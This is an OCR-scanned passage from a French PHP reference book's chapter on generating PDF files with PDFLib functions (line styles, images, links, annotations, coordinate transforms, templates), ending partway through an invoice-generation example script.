Syntaxe 

$objetPDF 
$formeCoi n 



retour 



boolean pdf_setLi neJoi n (resource $objetPDF, int $formeCoin) 
Identifiant tel que retourne par pdf _new ( ) . 

Au choix : 

pour un coin obtus. 

1 pour un coin arrondi. 

2 pour un coin plat. 

TRUE. 




Figure 14.4 : 

Differents codes pour differents 
coins 



pdf_setLineCap() 



Definit la facon dont doivent etre affichees les extremites des segments 

Syntaxe 

$objetPDF 
$style 



o ■ 
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retour 



boolean pdf_setLineCap(resource $objetPDF, int $style) 
Identifiant tel que retourne par pdf _new ( ) . 

Au choix : 

pour une extremite plate. 

1 pour une extremite arrondie. 

2 pour une extremite carree. 

TRUE. 



Figure 14.5 : 

Differents codes pour differents bouts 
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pdf_setMiterLimit () 



Definit la hauteur du coin (cf. dessin). 



Syntaxe 

$objetPDF 
$hauteur 



boolean pdf_setmi terl imi t (resource $objetPDF, double $hauteur) 
Identifiant tel que retourne par pdf _new ( ) . 
Hauteur maximale du coin. 



retour 



TRUE. 



miter 




Figure 14.6 : 

Hauteur d'un coin (miter) 



II est grand temps a present de mettre en pratique certaines des fonctions vues jusque-la. 

Listing 14.2 : pdf2.php 

<?php 

// Creation d'un pdf 
$pdf = pdf_new() ; 

// Ouverture d'un fichier en ecriture le nom 

// du fichier est un chemin absolu. 

pdf_open_fi 1 e($pdf , ""); 

pdf_begin_page($pdf , 595, 842); 

// Deplacement du curseur en (50, 740) 

pdf_moveto($pdf, 50, 740); 

// Definit un trait jusqu'en (315, 740) 

pdf_lineto($pdf, 340, 740); 

// Definition d'un arc de cercle dans le sens trigonometrique 

pdf_arc ($pdf, 340, 700, 40, 90, 270); 

// Definition d'un arc de cercle dans le sens horaire 

pdf_arcn($pdf, 340, 620, 40, 90, 180); 

// Deplacement du curseur en (50, 740) 

pdf_moveto($pdf, 50, 740); 

// Definition d'un cercle de centre (30, 740) et de rayon 20 
pdf_circle($pdf, 30, 740, 20); 

// Dessine le circuit trace precedemment et le remplit 
pdf_fill ($pdf); 

//Modification de l'epaisseur du trait pour le trace suivant 

pdf_setlinewidth($pdf, 10); 

// Deplacement du curseur en (50, 400) 

pdf_moveto($pdf , 50, 400); 

// Definition d'un rectangle en (50, 600) de largeur 20 

// et de hauteur 40 

pdf_rect($pdf, 50, 600, 20, 40); 

// Dessin du rectangle 

pdf_stroke($pdf ) ; 

// Termine la page 



Modifier les parametres du trace 



pdf_end_page($pdf) ; 

// Ferme le document PDF 

pdf_close($pdf) ; 

// Recupere les donnees du document PDF 
$donnees = pdf_get_buffer($pdf) ; 
// Efface l'objet PDF de la memoire et 
pdf_delete($pdf) ; 



/ 



************************************* 



/ 



/ 



************************************* 



/ 



es ressources associees 



/* Cette parti e concerne l'affichage */ 
/* du document, les donnees sont */ 
/* pretes, il suffit de les envoyer. */ 



header("Content-type: appl ication/pdf") . 
header("Content-Length: " .strlen($donnees)) ; 
header("Content-Di sposition: inline; filename=test.pdf") ; 
echo $donnees; 

?> 



Voici ce qui doit etre obtenu : 



3 http:fflocalho5tffliblePHPScript5fchapl3fcl3-pdf2.php - Microsoft Internet ... |_J|nJ|Xj 



Fichier Edition Affichage Favoris Outils ? 



Q Precedents » j [*] ® 'il RKnerdlsr Favoris ^Jf 1 Media 

Adresse http;//lpcalhost/BiblePHPScripts/chapl3/cl3-pdr'2.php v | OK Lie 



aa s i< ri ■ h < ► h 



* * ||CT[qMt?:;-® 




8,26 x1 1,69 in □ hi ™ _ 



Figure 14.7 : 

Dessiner un PDF en 
PHP 
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Les pointilles 

II est possible de definir des pointilles simples. 
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pdf_setDash() 

Permet de definir le type de pointilles. 



Syntaxe void pdf_setDash (resource $objetPDF, double $trace, double 

$nonTrace) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$trace Nombre de points a tracer avant de suspendre le trace. 

$nonTrace Nombre de points a ne pas tracer avant de reprendre le trace, 

retour true. 



... comme de plus complexes. 
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pdf_setPolyDash() 



Permet de definir un type de pointilles complexe. 

Syntaxe boolean pdf_setPolyDash(resource $objetPDF, array 

$tabl eauPoi nts) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$tabl eauPoi nts Tableau de points (nombre de points a tracer, puis nombre de points a ne 
pas tracer, puis nombre de points a tracer, etc). 

retour true. 



pdf_SH-Cash laesKurcE iii #2, LO, 20) 

pd£_aHr_PclyDaati {Resource id #2, BrrSiytlO, 



Figure 14.8 : 

Les pointilles 



Reinitialiser les parametres 

II est possible de retablir les valeurs par defaut de ces parametres avec la fonction suivante : 



pdf_initGraphics() 

Reinitialise les parametres graphiques (couleurs, traces, axes) a leurs valeurs par defaut. 

Syntaxe boolean pdf_i ni tGraphi cs (resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 
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Comme indique, cette fonction retablit les axes de coordonnees a leur position initiale, car 
(nous le verrons plus loin dans ce chapitre) il est possible de les modifier. 



14.8. Inclure une image 

Pour inclure une image, vous devez au prealable ouvrir un fichier image, ce qui peut se faire 
avec pdf_open_image_f ile ( ) . Les ressources ainsi allouees devront plus tard etre liberees 

par un appel a pdf_close_image ( ) . 



pdf_open_image_file () 

Lit une image depuis un fichier. 
Syntaxe 



$objetPDF 
$typelmage 
$nomFi chi er 
$parametreChai ne 

$parametreEntier 

retour 



int pdf_open_image_f i 1 e(resource $objetPDF, string $typelmage, 
string $nomFichier, string SparametreChai ne, string 
$parametreEntier) 

Identifiant tel que retourne par pdf _new ( ) . 

Type de l'image, au choix "jpeg", "tiff", "gif " ou "png". 

Nom et chemin du fichier. 

Au choix : NULL, mask, masked, ignoremask, invert, page ou 
colorize. Ce parametre est optionnel avec PHP4. 

0, l'identifiant de l'image du masque ou numero de page. Ce parametre est 
optionnel avec PHP4. 

Identifiant de l'image. 



o 
c= 
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pdf_close_image() 



Libere les ressources allouees par une image. 

Syntaxe void pdf_cl ose_image (resource $objetPDF, int $idlmage) 



$objetPDF 
$idlmage 



Identifiant tel que retourne par pdf _new ( ) . 

Identifiant d'image tel que retourne par pdf _open_image_f ile i 



Pour ajouter l'image a la page, vous disposez de pdf_place_image ( ) . 
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pdf_place_image () 

Place une image dans la page. 

Syntaxe boolean pdf_pl ace_image(resource $objetPDF, int $idlmage, 

double $x, double $y, double $echelle) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$idlmage Identifiantd'imagetelqueretourneparpdf_open_image_f ile ( ) ou 

pdf _open_memory_image ( ) (ou identifiant de modele tel que 
retourne par pdf _begin_template ( ) ). 

$x Abscisse du bord gauche de l'image. 

$y Ordonnee du bord inferieur de l'image. 

$echel 1 e Echelle pour agrandir ou retrecir l'image. 

retour TRUE. 

Le script suivant ouvre une image dans une page PDF de 100 sur 100. 

Listing 14.3 : imagefile.php 

<?php 

// Creation d'un pdf 
$pdf = pdf_new() ; 
pdf_open_file($pdf, ""); 
pdf_begin_page($pdf, 100, 100); 

$logopdf = pdf_open_image_f i 1 e($pdf , "png", "logo.png", "", 0); 
pdf_place_image($pdf , $logopdf, 0, 0, 1); 
pdf_close_image($pdf , $logopdf); 

// Termine la page 
pdf_end_page($pdf) ; 
// Ferme le document PDF 
pdf_close($pdf) ; 

// Lit les donnees du document PDF 
$donnees = pdf_get_buffer ($pdf) ; 

// Efface l'objet PDF de la memoire et les ressources associees 
pdf_delete($pdf) ; 

/* Cette parti e concerne l'affichage */ 
/* du document, les donnees sont */ 
/* pretes, il suffit de les envoyer. */ 

J 

header("Content-type: appl ication/pdf") ; 
header("Content-Length : " .strlen($donnees)) ; 
header("Content-Disposition: inline; filename=test.pdf") ; 
echo $donnees; 

?> 
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dont le resultat est : 



3 htlpi/ZlocalhostmiblePHPScripts/chapl 3/irnagefile.php - Microsoft Inter... I I|_X | 



Fichier Edition Affichage Favoris Outils ? 

Q Precedente * Q Q \£\ i^J] Rechercher ^ Favoris ^jf Media ^ 



http://localho5t/BiblePHP5i:ripi:f 1 /!:h3p! j/imagefile.php 



89 ^" - *ffl<« I 




Figure 14.9 : 

Inserer une image dans 
un document PDF 



II est egalement possible d'utiliser des images ouvertes ou creees avec gd. 



pdf_open_memory_image () 

Ouvre une image obtenue par la librairie gd. 
Syntaxe 



int pdf_open_memory_i mage (resource $objetPDF, resource 
$idImageGD) 

$objetPDF Identifiant tel que retourne par pdf_new( ) . 

$i dlmageGD Identifiant d'image tel que retourne par les fonctions imageCreate I 

ou imageCreateFromXXX ( ) de la bibliotheque GD. 

retour Identifiant de l'image (PDF). 
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Decoupe d'une image 

II est assez simple de ne representer qu'une partie de l'image, ou de lui donner des contours 
ayant une forme un peu particuliere. C'est ce que permet la fonction pdf_ciip ( ) . 



pdf_clip() 

Permet de decouper une partie de l'image definie precedemment par un trace. 
Syntaxe boolean pdf_clip(int $objetPDF) 
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$objetPDF 
retour 



Identifiant tel que retourne par pdf _new ( 

TRUE. 



<?php 



?> 



// (...) Initialisation 

$img = pdf_open_image_fi 1 e($pdf , "png", "logo.png", NULL, 0) ; 

pdf_circle($pdf, 50, 50, 50); 

pdf_clip($pdf); 

pdf_place_image($pdf, $img, 0, 0, 1); 
pdf_close_image($pdf, $img); 

// (...) Cloture 




Figure 14.10 : 

Utilisation de clip 



14.9. Ajouter des liens et des annotations 

Liens PDF 

II vous est possible d'inserer un lien vers une autre page du document... 
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pdf_add_locallink() 



Ajoute un lien vers une autre page du meme fichier PDF 
Syntaxe 



$objetPDF 

$xl 

$yi 

$x2 

$y2 

$noPage 
$zoom 



boolean pdf_add_l ocal 1 ink (resource $objetPDF, double $xl, 
double $yl, double $x2, double $y2, int $noPage, string $zoom) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du point inferieur gauche. 

Ordonnee du point inferieur gauche. 

Abscisse du point superieur droit. 

Ordonnee du point superieur droit. 

Page de destination. 

Au choix : 

"retain" pour conserver le facteur de zoom actuel a l'ouverture du 
document lie. 

"f i tpage" pour adapter le zoom de fagon a ce que le document lie tienne 
dans la fenetre. 
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"f i twi th" pour adapter le zoom de f agon a ce que la largeur du document 
lie tienne dans la fenetre. 

"fitheight' pour adapter le zoom de facon a ce que la hauteur du 
document lie tienne dans la fenetre. 

"f itbbox" pour adapter le zoom de facon a ce que le contenu du 
document (done sans tenir compte des marges) tienne dans la fenetre. 

retour TRUE. 

... ou vers celle d'un autre document. 



pdf_add_pdflink() 

Ajoute un lien vers un fichier PDF. 

Syntaxe boolean pdf_add_pdfl i nk ( i nt $objetPDF, double $xl, double $yl, 

double $x2, double $y2, string $nomFichier, int $noPage, string 
$zoom) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$x 1 Abscisse du point inferieur gauche. 

$y 1 Ordonnee du point inferieur gauche . 

$x2 Abscisse du point superieur droit. 

$y2 Ordonnee du point superieur droit. 

$nomFichier Nom du fichier vers lequel faire un lien. _l 

a. J* 

$noPage Numero de la page a ouvrir. § r- 

$zoom Au choix : j| q 

"retain" pour conserver le facteur de zoom actuel a l'ouverture du 5. 2" 

document lie. -o 5" 



"f itpage" pour adapter le zoom de fagon a ce que le document lie tienne 
dans la fenetre. 

"f i twi th" pour adapter le zoom de f agon a ce que la largeur du document 
lie tienne dans la fenetre. 

"fitheight' pour adapter le zoom de fac,on a ce que la hauteur du 
document lie tienne dans la fenetre. 

"f itbbox" pour adapter le zoom de facon a ce que le contenu du 
document (done sans tenir compte des marges) tienne dans la fenetre. 

retour TRUE. 
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pdf_add_weblink () 

Ajoute un lien vers une adresse Internet. 



Syntaxe boolean pdf_add_webl i nk(resource $objetPDF, double $xl, double 
$yl, double $x2, double $y2, string $url) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$xl Abscisse du point inferieur gauche. 

$y 1 Ordonnee du point inferieur gauche . 

$x2 Abscisse du point superieur droit. 

$y2 Ordonnee du point superieur droit. 

$url Adresse du site web de destination. 

retour TRUE. 



Liens vers un fichier 

pdf_add_launchlink() 

Ajoute un lien vers un fichier. 

int pdf_add_l aunchl ink (resource $objetPDF, double $xl, double 
$yl, double $x2, double $y2, string $nomFichier) ; 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du point inferieur gauche. 

Ordonnee du point inferieur gauche. 

Abscisse du point superieur droit. 

Ordonnee du point superieur droit. 

TRUE. 



pdf_add_note() 

Ajoute une annotation pour la page courante. 

Syntaxe boolean pdf_add_note (resource $objetPDF, double $xl, double 

$yl, double $x2, double $y2, string $contenu, string $titre, 
string $icone, boolean $ouvrir) 



o 



t i $xi 

— I o 
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Syntaxe 
$objetPDF 



$yi 

$x2 
$y2 

retour 

Annotations 
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it" L " j_ n r\ r~ 

SobjetPDF 


Identifiant tel que retourne par pdf _new ( ) . 


$xl 


Abscisse du point inferieur gauche de la zone de deploiement de 
l'annotation. 


$yi 


Ordonnee du point inferieur gauche de la zone de deploiement de 
l'annotation. 


$x2 


Abscisse du point supeneur droit de la zone de deploiement de 
l'annotation. 


$y2 


Ordonnee du point superieur droit de la zone de deploiement de 
l'annotation. 


$contenu 


Texte de l'annotation. 


$z\ tr e 


Titre de l'annotation. 


$icone 


Icone a afficher, au choix : "comment", "insert", "note", "paragraph", 
"newparagraph", "key" ou "help". 


$ouvri r 


TRUE si le commentaire doit etre visible par defaut, FALSE sinon. 


retour 


TRUE. 



rffi Ic6ne 

Sous Windows XP et Acrobat Reader 5.0, I'icone affichee est toujours note. II 



REMARQUE 



semblerait que ce soil le cas pour toutes les versions 3 d'Acrobat Reader et au moins 
les versions 4 sous UNIX. 

Selon la documentation officielle, cela aurait dufonctionner sous Venvironnement de 
test... Mais en pratique, cela ne fonctionne pas. 



o ■ 
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Modifier l'apparence des contours des liens et annotations | ^ 

CD " 

II est possible de definir l'apparence des contours des liens et annotations grace aux fonctions 2. 2* 

suivantes : _ 5" 

a = 



pfd_set_border_style () 



Definit 1'aspect des bordures (largeur du trait, pointilles ou non) des liens et des annotations. 

Syntaxe boolean pdf_set_border_styl e (resource $objetPDF, string 

$style, double $epaisseur) 

$objetPDF Identifiant tel que retourne par pdf _new( ) . 

$style Au choix: 

"solid" pour un trait continu. 
"dashed" pour des pointilles. 

$epaisseur Epaisseur du trait. 

retour TRUE. 

La nature des pointilles peut evidemment etre precisee. 
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pdf_set_border_dash () 

Permet de definir le type des pointilles appliques aux contours des liens et des annotations. 



Syntaxe boolean pdf_set_border_dash (resource $objetPDF, double $trace, 

double $nonTrace) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$trace Nombre de points a tracer avant de suspendre le trace. 

$nonTrace Nombre de points a ne pas tracer avant de reprendre le trace. 

retour true. 
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pdf_set_border_color () 

Definit la couleur des contours des liens et annotations. 

Syntaxe boolean pdf_set_border_col or (resource $objetPDF, double 

$rouge, $vert, $bleu) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$rouge Composante rouge de la couleur du contour (entre et 1). 

$vert Composante verte de la couleur du contour (entre et 1). 

$bl eu Composante bleue de la couleur du contour (entre et 1). 

retour TRUE. 

14.10. Ajouter des fichiers attaches et apercus 
(thumbnails) 



pdf_add_thumbnail () 

Ajoute une petite image (thumbnail) pour la page courante. 

Syntaxe boolean pdf_add_thumbnai 1 (resource $objetPDF, int $idlmage) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$idlmage Identifiantd'imagetelqueretourneparpdf_open_image_f ile ( ) ou 

pdf _open_memory_image ( ) . 

retour true. 
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pdf_attach_file() 



Ajoute un fichier attache pour la page courante. 
Syntaxe 



$objetPDF 
$xl 
$yl 
$x2 

$y2 

$nomFi chi er 

$description 

$auteur 

$mimetype 

$icone 



retour 



boolean pdf_attach_f i 1 e(i nt $objetPDF, double $xl, double $yl, 
double $x2, double $y2, string $nomFichier, string 
$description, string $auteur, string $mimetype, string $icone) 

Identifiant tel que retourne par pdf _new ( ) . 

Abscisse du point inferieur gauche. 

Ordonnee du point inferieur gauche. 

Abscisse du point superieur droit. 

Ordonnee du point superieur droit. 

Nom du fichier a attacher. 

Description du fichier attache. 

Auteur du fichier attache. 

Type MIME du fichier (ex: "text/plain"). 

Icone associee, au choix : 
"graph" graphique. 
"paperclip" trombone, 
"pushpin" punaise. 
"tag" etiquette. 

TRUE. 



14. 1 1. Modifier le systeme de coordonnees 



pdf_translate() 

Redefinit l'origine du systeme 
Syntaxe 
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$objetPDF 
$x 

$y 

retour 



boolean pdf_transl ate(resource $objetPDF, double $x, double 

$y) 

Identifiant tel que retourne par pdf _new ( ) . 
Abscisse du nouveau centre. 
Ordonnee du nouveau centre. 

TRUE. 
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pdf_rotate() 

Permet de tourner le systeme de coordonnees. 



Syntaxe 

$objetPDF 
$angl e 

retour 



boolean pdf_rotate (resource $objetPDF, double $angle) 
Identifiant tel que retourne par pdf _new ( ) . 

Angle de rotation (en degres) par rapport au systeme de coordonnees 
actuel. 

TRUE. 



pdf_skew() 
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Modifie les axes du systeme de coordonnees (permet d'avoir un repere non orthonorme). 
Syntaxe 



$objetPDF 
$anglel 

$angle2 

retour 

pdf_scale() 

Redefinit l'echelle. 
Syntaxe 

$objetPDF 
$echelleX 
$echelleY 
retour 



boolean pdf_skew(resource $objetPDF, double anglel, double 
angle2) 

Identifiant tel que retourne par pdf _new ( ) . 

Angle de rotation (en degres) de l'axe des abscisses par rapport au systeme 
de coordonnees actuel. 

Angle de rotation (en degres) de l'axe des ordonnees par rapport au 
systeme de coordonnees actuel. 

TRUE. 



boolean pdf_scale (resource $objetPDF, double $echelleX, double 
$echelleY) 

Identifiant tel que retourne par pdf _new ( ) . 
Coefficient a appliquer sur l'echelle des abscisses. 
Coefficient a appliquer sur l'echelle des ordonnees. 

TRUE. 



Si par hasard vous ne trouviez pas votre bonheur avec les fonctions precedentes, vous pouvez 
encore preciser votre propre matrice de transformation (i.e. combiner les appels precedents en 
un appel unique). 
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pdf_setMatrix() 

Remplace la matrice de transformation courante par une autre. 



Syntaxe boolean pdf_setMatrix (resource $objetPDF, double $mll, double 

$m21, double $ml2, double $m22, double $ml3, double $m23) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$mll, $m21, $ml2, 

$m22, $ml3, $m23 Les elements de la matrice de transformation (3x2) [ [$mll, $ml2, 
$ml3] [$m21, $m22, $m23]]. 

retour TRUE. 



pdf_concat() 

Concatene une matrice a la matrice courante de transformation. 



Syntaxe boolean pdf_concat(resource SobjetPDF, double $mll, double 

$m21, double $ml2, double $m22, double $ml3, double $m23) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$mll, $m21, $ml2, 

$m22, $ml3, $m23 Les elements de la matrice de transformation (3x2) [ [$mll, $ml2, 
$ml3] [$m21, $m22, $m23]]. 

retour TRUE. 
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pdf_get_value() 

Recupere la valeur d'un parametre (certains peuvent etre modifies par pdf_set_value ( ) ). 



Syntaxe double pdf_get_value(int $objetPDF, string $cle, double 

$val eur) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$ c 1 e Nom de la valeur a recuperer. 

$val eur Nouvelle valeur. Ce parametre est optionnel avec PHP4. 

retour La valeur recherchee. 



Voici un tableau de differentes valeurs pouvant etre obtenues : 



1173 



Chapitre 14 La creation de documents PDF 



Tableau 14.4 : 


Valeurs pouvant etre obtenues par pdf_get_value() 


Cle 


Description 


major 


Recupere le numero principal de version de PDFLib. 


minor 


Recupere le numero secondaire de version de PDFLib. 


revision 


Recupere le numero de revision de PDFLib. 


version 


Recupere le numero de version complet sous la forme 

major .minor . revision suivi eventuellement de chaines telles que 

beta, rc... 


scope 


Recupere le nom de I'etendue courante. 


pagewidth 


Largeur de la page courante en points. 


pageheight 


Hauteur de la page courante en points. 


Cropbox 
BleedBox 
ArtBox 
TrimBox 


onange les lames aes uones ae ia page courame. Le nom ae ia cie ooit 
etre suivi d'un slash / puis de lix (abscisse du point inferieur gauche), 
liy (ordonnee du point inferieur gauche), urx (abscisse du point 
superieur gauche), ury (ordonnee du point superieur droit). Par exemple 
Cropbox/iix permettra de modifier I'abscisse inferieure gauche de la 
Cropbox. 


font 


Retourne I'identifiant de la police d'ecriture qui doit avoir ete definie par 

pdf_setf ont ( ) . 


f ontsize 


Retourne la taille de la police d'ecriture precedemment definie par 

pdf_setf ont ( ) . 



Retourne les valeurs des tailles pour I'affichage de caracteres en fraction 
de taille de police. 

capheight est la taille d'une majuscule. 
Ascender est la taille d'une lettre haute telle que I, f, k, t... 
capheight est juste la taille de la partie basse d'une lettre descendante 
comme j, p, q... 

Apres ce tableau se trouve une image expliquant ces trois valeurs. 



leading 


Modifie I'espace entre deux lignes de base de deux lignes consecutives. 


textrise 


Modifie I'espace entre la position desiree du texte et la ligne de base. 


text rendering 


o pour du texte plein. 




l pour n'avoir que le contour du texte. 




2 pour du texte plein et le contour. 




3 pour ne pas afficher le texte mais I'ajouter au chemin. 


horizscaling 


Pourcentage pour elargir ou retrecir le texte. 


charspacing 


Espace entre deux caracteres a ajouter a I'espacement par defaut. 


wordspacing 


Espace a ajouter a la taille du caractere d'espacement. 


textx 


Retourne I'abscisse courante du pointeur de texte. 


texty 


Retourne I'ordonnee courante du pointeur de texte. 


currentx 


L'abscisse du point graphique courant. 


currenty 


L'ordonnee du point graphique courant. 



o o- 
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capheight 

ascender 

descender 
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Cle 



Description 



imagewidth Retourne la largeur et la hauteur d'une image en pixel. II taut passer en 

imageheight parametre I'identifiant de I'image. 

resx Retourne les resolutions horizontals et verticales d'une image. II faut 

resy passer en parametre I'identifiant de I'image. 

Si la valeur est positive, la valeur retournee est exprimee en points par 

pouce ; sinon la valeur n'a pas de sens, mais permet de determiner le 

rapport entre la largeur et la hauteur d'un point. 

Si la valeur est nulle, alors I'information sur la resolution n'est pas 

accessible. 



A a j k 



Figure 14.11 : 

capheight, ascender et 
descender en images 



pdf_set_parameter () 

Permet de definir un parametre. 

Syntaxe void pdf_set_parameter (resource $objetPDF, string $cle, string 

$val eur) 

$objetPDF Identifiant tel que retourne par pdf_new ( ) . 

$ c 1 e Nom du parametre . 

$valeur Valeur du parametre. 

Voici un tableau des differents parametres attribuables : 

Tableau 14.5 : Parametres attribuables par pdf_set_parameter() 
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Cle 


Description 


Defaut 


compatibility 


Permet de definir la compatibilite. Elle peut etre 
definie en 1 .3, 1 .4 ou 1 .5 pour Acrobat 3, Acrobat 4 
ou Acrobat 5. Ce changement de parametre doit etre 
effectue avant tout appel a pdf _open_* ( ) . 


1.3 


Prefix 


Prefixe utilise dans un fichier UPR. 




Resourcef ile 


Nom du fichier de configuration UPR. 




Serial 


Definit le numero de serie de la bibliotheque 
PDFLib ; il ne peut etre modifie qu'une seule fois 
avant le premier appel a pdf_begin_page ( ) . 




Warning 


Permet ou supprime les messages d'alerte. Peut etre 
mis a "true" ou "false". (Par defaut, les 
messages sont apparents.) 


"true" 
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Cle 


Description 


Defaut 


FontAFM 
FontPFM 
FontOutline 
Encoding 


Les fichiers de ressources tels qu'ils doivent 
apparaitre dans un fichier UPR. Pour en ajouter 
plusieurs, il suffit d'appeler plusieurs fois la fonction. 




f ontwarning 


SI cette valeur est mise a "false" alors, 
pdf_f indf ont ( ) renverra au lieu d'un 
message d'erreur. 


"true" 


underline 
over 1 ine 
strikeout 


Permet de definir I'aspect d'une chaTne de caracteres 

("true" OU "f alse"} ' 

underline pour le soulignement. 
Over line pour le surlignage. 
strikeout pour du texte barre. 


"false" 


native - Unicode 


Si la valeur est mise a "true" alors le texte Unicode 
natif est permis. 


"false" 


Fillrule 


Change la regie de remplissage courante. Cette regie 
est utilisee par les visionneurs de fichier PDF, mais 
conduisent au meme resultat. Les valeurs permises 

SOnt "winding" OU "evendd". 


"winding" 


Image -warning 


Ce parametre peut servir a savoir pourquoi une image 
n'a pas pu etre ouverte correctement. Si ce 
parametre est mis a "true" alors un message 
d'erreur est genere, sinon aucun message d'erreur 
n'est genere. 


"false" 


c 


Controle de I'importation des attributs graphiques 

avec les pages et mises en page. 

"true", les attributs graphiques seront importes. 

"false", les attributs graphiques ne seront pas 

importes. 


"true" 


openaction 


Definit I'action d'ouverture ou encore le 
grossissement de la premiere page du document. 
Les differentes valeurs possibles sont : 
"retain" pour conserver la valeur actuelle. 
"f itpage" pour que le zoom fasse en sorte que la 
page tienne a I'ecran. 

"f itwidth" pour que la largeur tienne a I'ecran. 
"f itheight" pour que la hauteur tienne a I'ecran. 
"f itbbox" pour que le contenu de la page (sans 
tenir compte des bords) tienne a I'ecran. 


"retain" 
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Cle 



Description 



Defaut 



openmode 



Definit I'apparence quand le document est ouvert. "bookmarks" si 
"none", ni les signets ni les imageries ne sont le document 
visibles. contient des 

"bookmarks", les signets s'afficheront a signets. 
I'ouverture du document. "none" sinon. 

"thumbnails", les imagettes s'afficheront. 
"fullscreen", le document s'ouvrira surtout 
I'ecran si celui-ci n'est pas dans un navigateur 
Internet. 



bookmark-dest Definit le zoom pour raffichage des signets. "retain" 
Les differentes valeurs possibles sont : 
"retain" pour conserver la valeur actuelle. 
"f itpage" pour que le zoom fasse en sorte que la 
page tienne a I'ecran. 

"f itwidth" pour que la largeur tienne a I'ecran. 
"fitheight" pour que la hauteur tienne a I'ecran. 
"f itbbox" pour que le contenu de la page (sans 
tenir compte des bords) tienne a I'ecran. 

transition Definit la transition d'une page a une autre. Les "replace" 

differentes valeurs possibles sont : 

"split", "blinds", "box", "wipe", 
"dissolve", "glitter", "replace". 



Sauvegarder et restaurer 



o 



II est egalement possible de sauvegarder 1'environnement courant pour le reutiliser plus tard. g gj- 

Les axes de coordonnees, couleurs, epaisseurs de traits peuvent ainsi etre changes apres avoir 3 q 

sauvegarde 1'environnement, pour ensuite recharger les memes parametres de depart. = 
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pdf_save() 

Enregistre 1'environnement courant. 



Syntaxe boolean pdf_save (resource $objetPDF) 

$ob j et PDF Identifiant tel que retourne par pdf _new ( 

retour TRUE. 
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pdf_restore() 

Redefinit l'environnement graphique avec les informations stockees lors de l'appel a 

pdf_save ( ) . 

Syntaxe boolean pdf_restore(resource $objetPDF) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

retour TRUE. 



14.13. Creer un modele 

II est possible de creer un modele de page qui servira de base pour la creation de pages. 
L'avantage principal reside dans le fait qu'une modification apportee a ce modele s'appliquera 
a toutes les pages y faisant reference. 

Apres avoir cree un modele, il suffit, pour l'utiliser,il de le considerer comme une image. Ainsi, 
pour l'ajouter a la page, vous n'aurez qu'a appeler la fonction pdf_piace_image ( ) . 

Un modele de page doit etre defini en dehors de toute section page (pdf_begin_page ( ) 
...pdf _end_page ( ) ). Un modele de page peut faire appel a un autre modele de page, mais pas 
a lui-meme. 

Toutes les fonctions agissant sur le texte, les graphiques et les couleurs peuvent etre utilisees, 
exception faite des fonctions d'ouverture et de fermeture d'images et des elements hypertextes. 
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1 Introduire des images 

© // n'est pas possible d'ouvrir des images dans les modeles, mais il est possible de les 
placer. II suffit done de les ouvrir avant de definir le modele. 



pdf_begin_template () 

Debute la description d'un modele. 



Syntaxe int pdf_begi n_templ ate (resource $objetPDF, double $largeur, 

double $hauteur) 

$objetPDF Identifianttelqueretourneparpdf_new( ) . 

$largeur Largeur du modele. 

$hauteur Hauteur du modele. 

retour Un identifiant de modele. 
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pdf_end_template () 



Termine la description d'un modele. 



Syntaxe 

$objetPDF 



boolean pdf_end_templ ate(resource $objetPDF) 
Identifiant tel que retourne par pdf _new ( ) . 



retour 



TRUE. 



L'exemple qui suit utilise ces deux fonctions. 

Un exemple de script 

L'exemple que nous avons choisi de detailler est un fax de facture avec une page de garde. Les 
renseignements necessaires a la facture sont recuperet depuis un formulaire HTML. 

Voici le script HTML du formulaire que nous ne detaillerons pas (il ne s'agit ni plus ni mois que 
d'une page HTML) : 

Listing 14.4 : facture.html 



<headxt i tl e>Facturex/ti tl ex/head> 
<body> 
<centerxhl> 

<font color="#0000FF">Creation de facture en fichier PDF</font> 
</hlx/center> 

<form method="post" action="facture.php"> 
<h2>Informations sur le destinataire</h2> 
<table al ign="center"> 
<tr> 

<td>Nom:</td> 

<tdxinput type="text" name="nom" /x/td> 
</tr> 
<tr> 

<td>Prenom:</td> 

<tdxinput type="text" name="prenom" /x/td> 
</tr> 
<tr> 

<td>Numero de fax:</td> 

<tdxinput type="text" name="fax" /x/td> 
</tr> 
</ tabl e> 

<h2>Informations sur la facture</h2> 

<table al ign="center"> 

<tr> 

<td>Numero de facture:</td> 

<tdxinput type="text" name="no" /x/td> 
</tr> 
<tr> 



<html> 
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<td>Montant :</td> 

<tdxinput type="text" name="montant" /></td> 
</tr> 
<tr> 

<td>Prestati on:</td> 

<tdxtextarea name="prestation"></textareax/td> 
</tr> 
</tabl e> 

<centerxi nput type=" submit" /x/center> 
</form> 
</body> 
</html> 
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-'H Facture" - Microsoft Internet Explorer 



Fichier Edition Affichage Favoris Outils ? 

Q Precedents * v^Jj Q ^ | Rechercher *i^f Favoris ^Jp Media 

v| Q OK Liens M 



rittp://localhost/BiblePHP5cripts/chapl3/facture.html 



Creation de facture en fichier PDF 

Informations sur le destinataire 



Nom: Sassine 

Prenom: Emma 
Numero de fax: 02 03 0-1 05 06 



Informations sur la facture 



Numero de facture: 
MontanC |10B.E 



Prestation: 



la periocle: 
iuillet-aout 2002 r^ 



Soumettre la requete 



Figure 14.12 : Exemple de formulaire rempli 



La page d'appclfacture.php traite toute la partie creant le fichier PDF. 



Listing 14.5 : facture.php 

<?php 

// Largeur de la page 

$largeur=495; 

// Hauteur de la page 

$hauteur=742; 

// Creation d'un pdf 
$pdf = pdf_new() ; 
// Allocation de memoire 
pdf_open_file($pdf, ""); 
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// Ouverture de 1' image de logo 

$logopdf = pdf_open_image_file($pdf, "png", "logo.png", "", 0); 

// Definition d'un nouveau modele de taille inferieure a la page 
$miseEnPage = pdf_begin_template($pdf , $1 argeur-100, $hauteur-100) ; 

// Choi sir la police Courier de taille 15 

$font = pdf_findfont($pdf, "Courier", "host", FALSE); 

